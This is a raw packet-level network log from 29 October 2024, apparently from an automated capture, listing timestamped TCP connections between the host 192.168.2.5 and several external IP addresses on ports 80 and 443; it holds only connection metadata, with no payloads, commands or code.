Oct 29, 2024 13:08:11.356174946 CET	80	49720	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:11.359824896 CET	49721	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:11.359903097 CET	443	49721	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:11.360095978 CET	49721	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:11.360243082 CET	49721	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:11.360256910 CET	443	49721	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:11.410934925 CET	49720	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:11.710002899 CET	49719	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:11.710081100 CET	443	49719	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:11.710472107 CET	443	49719	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:11.711148024 CET	49719	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:11.711560011 CET	49719	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:11.755383015 CET	443	49719	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:11.887746096 CET	443	49719	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:11.887908936 CET	443	49719	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:11.888191938 CET	49719	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:11.888288975 CET	49719	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:11.888289928 CET	49719	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:11.888334036 CET	443	49719	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:11.888753891 CET	49719	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:11.908958912 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:11.909075022 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:11.909190893 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:11.909485102 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:11.909537077 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:11.972095013 CET	443	49721	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:11.984416008 CET	49721	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:11.984471083 CET	443	49721	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:12.358959913 CET	443	49721	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:12.359009027 CET	443	49721	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:12.359086037 CET	49721	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:12.359671116 CET	49721	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:12.363711119 CET	49720	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:12.365207911 CET	49723	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:12.660933018 CET	49720	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:12.849312067 CET	80	49723	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:12.849345922 CET	80	49720	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:12.849428892 CET	49723	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:12.849620104 CET	49723	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:12.850373030 CET	80	49720	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:12.850440979 CET	49720	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:12.854212046 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:12.854299068 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:12.854778051 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:12.854806900 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:12.855031967 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:12.855045080 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:12.855669022 CET	80	49723	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:13.038506031 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.038609028 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.038654089 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.038714886 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.041481018 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:13.041506052 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:13.041574001 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:13.043378115 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:13.043395996 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:13.160079002 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.160089016 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.160126925 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.160181999 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.160240889 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.160295010 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.160295010 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.161804914 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.161822081 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.161885023 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.161901951 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.161955118 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.281949043 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.282018900 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.282166004 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.282217026 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.282274008 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.282470942 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.282546043 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.282560110 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.282618999 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.282629967 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.282654047 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.282686949 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.282712936 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.282963037 CET	49722	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:13.282994986 CET	443	49722	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:13.697343111 CET	80	49723	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:13.699448109 CET	49725	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:13.699491978 CET	443	49725	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:13.699588060 CET	49725	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:13.699924946 CET	49725	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:13.699943066 CET	443	49725	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:13.739058971 CET	49723	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:13.851552963 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:13.851639986 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:13.855526924 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:13.855575085 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:13.855834007 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:13.910933971 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:14.309017897 CET	443	49725	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:14.348450899 CET	49725	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:14.434328079 CET	49725	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:14.434343100 CET	443	49725	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:14.572071075 CET	443	49725	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:14.572135925 CET	443	49725	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:14.572280884 CET	49725	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:14.574178934 CET	49725	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:15.080213070 CET	49727	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:15.085925102 CET	80	49727	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:15.086035013 CET	49727	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:15.090100050 CET	49723	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:15.091331005 CET	49728	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:15.096410990 CET	80	49723	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:15.096520901 CET	49723	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:15.097091913 CET	80	49728	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:15.097265959 CET	49728	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:15.097336054 CET	49728	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:15.102884054 CET	80	49728	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:15.124034882 CET	49727	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:15.129513025 CET	80	49727	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:15.225719929 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:15.271337986 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.361720085 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:15.361758947 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:15.361845970 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:15.362123966 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:15.362134933 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:15.492475986 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.492494106 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.492502928 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.492518902 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.492526054 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.492528915 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.492598057 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:15.492635012 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.492686033 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:15.493184090 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.493254900 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:15.493263960 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.493697882 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:15.493751049 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:16.070477962 CET	80	49728	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:16.070614100 CET	80	49727	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:16.070650101 CET	80	49727	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:16.070693970 CET	49727	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:16.070702076 CET	80	49727	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:16.070723057 CET	49727	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:16.070768118 CET	49727	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:16.071909904 CET	49732	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:16.072020054 CET	443	49732	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:16.072107077 CET	49732	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:16.072628021 CET	49732	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:16.072679043 CET	443	49732	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:16.073510885 CET	49727	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:16.073510885 CET	49727	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:16.114097118 CET	49728	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:16.207915068 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:16.208003998 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:16.231345892 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:16.231368065 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:16.231760025 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:16.247627974 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:16.291341066 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.282120943 CET	443	49732	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:17.288161039 CET	49732	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:17.288204908 CET	443	49732	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:17.313066006 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:17.313066006 CET	49724	443	192.168.2.5	20.109.210.53
Oct 29, 2024 13:08:17.313101053 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:17.313112020 CET	443	49724	20.109.210.53	192.168.2.5
Oct 29, 2024 13:08:17.430533886 CET	443	49732	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:17.430586100 CET	443	49732	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:17.431055069 CET	49732	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:17.435025930 CET	49732	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:17.530668020 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.530694962 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.530714989 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.530832052 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.530854940 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.530921936 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.532840014 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.532865047 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.532913923 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.532922983 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.532979965 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.532979965 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.633050919 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.633095980 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.633233070 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.633243084 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.633296967 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.648037910 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.648077965 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.648220062 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.648226023 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.648276091 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.648884058 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.648904085 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.648992062 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.648998976 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.649060965 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.650799036 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.650834084 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.650882006 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.650890112 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.650938988 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.650963068 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.732410908 CET	49728	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:17.737775087 CET	49733	443	192.168.2.5	149.154.167.220
Oct 29, 2024 13:08:17.737808943 CET	443	49733	149.154.167.220	192.168.2.5
Oct 29, 2024 13:08:17.737881899 CET	49733	443	192.168.2.5	149.154.167.220
Oct 29, 2024 13:08:17.738574028 CET	80	49728	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:17.738635063 CET	49728	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:17.748070002 CET	49733	443	192.168.2.5	149.154.167.220
Oct 29, 2024 13:08:17.748085976 CET	443	49733	149.154.167.220	192.168.2.5
Oct 29, 2024 13:08:17.748843908 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.748878956 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.748918056 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.748924971 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.748990059 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.762351990 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.762375116 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.762478113 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.762485027 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.762536049 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.764024019 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.764043093 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.764085054 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.764090061 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.764121056 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.764141083 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.765217066 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.765234947 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.765288115 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.765295029 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.765326977 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.765348911 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.766961098 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.766983032 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.767021894 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.767028093 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:17.767071962 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.767091990 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.789486885 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.790079117 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:17.982085943 CET	49734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:18.080667973 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.080698967 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.080750942 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.080763102 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.080790997 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.080811977 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.080877066 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.080898046 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.080996037 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.080996990 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.080996990 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.081011057 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.081068039 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.081073999 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.081089020 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.081119061 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.081145048 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.082108021 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.082123995 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.082137108 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.082144022 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.164376974 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.164431095 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.164520025 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.167880058 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.167968035 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.168052912 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.168659925 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.168735027 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.168823957 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.170097113 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.170134068 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.170244932 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.170267105 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.170377016 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.170411110 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.171369076 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.171396017 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.171485901 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.171755075 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.171793938 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.172945023 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.172970057 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.173059940 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.173263073 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:18.173275948 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:18.320445061 CET	80	49734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:18.320553064 CET	49734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:18.332638025 CET	49734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:18.338246107 CET	80	49734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:18.583822012 CET	443	49733	149.154.167.220	192.168.2.5
Oct 29, 2024 13:08:18.583914042 CET	49733	443	192.168.2.5	149.154.167.220
Oct 29, 2024 13:08:18.636123896 CET	49733	443	192.168.2.5	149.154.167.220
Oct 29, 2024 13:08:18.636157990 CET	443	49733	149.154.167.220	192.168.2.5
Oct 29, 2024 13:08:18.636539936 CET	443	49733	149.154.167.220	192.168.2.5
Oct 29, 2024 13:08:18.676569939 CET	49733	443	192.168.2.5	149.154.167.220
Oct 29, 2024 13:08:18.705163956 CET	49733	443	192.168.2.5	149.154.167.220
Oct 29, 2024 13:08:18.751344919 CET	443	49733	149.154.167.220	192.168.2.5
Oct 29, 2024 13:08:19.652615070 CET	80	49734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:19.652650118 CET	80	49734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:19.652700901 CET	49734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:19.652708054 CET	80	49734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:19.652733088 CET	49734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:19.652765036 CET	49734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:19.652791023 CET	80	49734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:19.652942896 CET	49734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:19.659588099 CET	49734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:19.659627914 CET	49734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:19.887054920 CET	443	49733	149.154.167.220	192.168.2.5
Oct 29, 2024 13:08:19.887125969 CET	443	49733	149.154.167.220	192.168.2.5
Oct 29, 2024 13:08:19.887198925 CET	49733	443	192.168.2.5	149.154.167.220
Oct 29, 2024 13:08:19.888104916 CET	80	49734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:19.888194084 CET	49734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:19.892446041 CET	49733	443	192.168.2.5	149.154.167.220
Oct 29, 2024 13:08:20.013578892 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.017213106 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.021950006 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.022892952 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.023106098 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.047281981 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.047378063 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.049669981 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.049698114 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.050134897 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.050168037 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.050581932 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.050590038 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.050931931 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.051011086 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.051306963 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.051337004 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.053066015 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.053082943 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.053423882 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.053435087 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.053611040 CET	49737	443	192.168.2.5	13.107.246.45
